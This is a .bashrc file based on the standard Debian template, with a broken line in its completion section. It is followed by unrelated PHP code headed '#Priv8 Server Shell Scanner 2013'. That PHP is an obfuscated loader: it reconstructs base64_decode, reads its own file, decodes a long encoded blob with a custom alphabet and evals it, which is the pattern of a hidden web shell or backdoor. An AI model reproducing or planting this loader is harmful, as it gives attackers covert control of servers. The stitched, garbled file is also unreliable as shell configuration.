# .bashrc

# Source global definitions
if [ -f /etc/bashrc ]; then
. /etc/bashrc
fi

# User specific aliases and functions
cat ~/.logo

# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
#[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
    debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
    xterm-color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
    if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
	# We have color support; assume it's compliant with Ecma-48
	# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
	# a case would tend to support setf rather than setaf.)
	color_prompt=yes
    else
	color_prompt=
    fi
fi

if [ "$color_prompt" = yes ]; then
    PS1='${debian_chroot:+($debian_chroot)}\[\033[01;31m\]\u@\h\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
    PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
    PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
    ;;
*)
    ;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
    test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
    alias ls='ls --color=auto'
    #alias dir='dir --color=auto'
    #alias vdir='vdir --color=auto'

    #alias grep='grep --color=auto'
    #alias fgrep='fgrep --color=auto'
    #alias egrep='egrep --color=auto'
fi

# some more ls aliases
#alias ll='ls -l'
#alias la='ls -A'
#alias l='ls -CF'

# Alias definitions.
# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
    . ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
  if [ -f /usr/share/bash-completion/bash_completion ]; then
    . /usr/share/bash-completion/bash_completion
  elif [ -f /etc/bash_completion ]; then# .bashrc
    . /etc/bash_completion
  fi
fi

<?php // #Priv8  Server Shell Scanner 2013 Demo Version <----  # /#
$OOO0O0O00=__FILE__;$OOO000000=urldecode('%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64');$OO00O0000=19056;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('aWYoITApJE8wMDBPME8wMD1mb3BlbigkT09PME8wTzAwLCdyYicpO2ZnZXRzKCRPMDAwTzBPMDAsMTAyNCk7ZmdldHMoJE8wMDBPME8wMCw0MDk2KTskT08wME8wME8wPShiYXNlNjRfZGVjb2RlKHN0cnRyKGZyZWFkKCRPMDAwTzBPMDAsMzcyKSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpKTtldmFsKCRPTzAwTzAwTzApOw==')));return;?>
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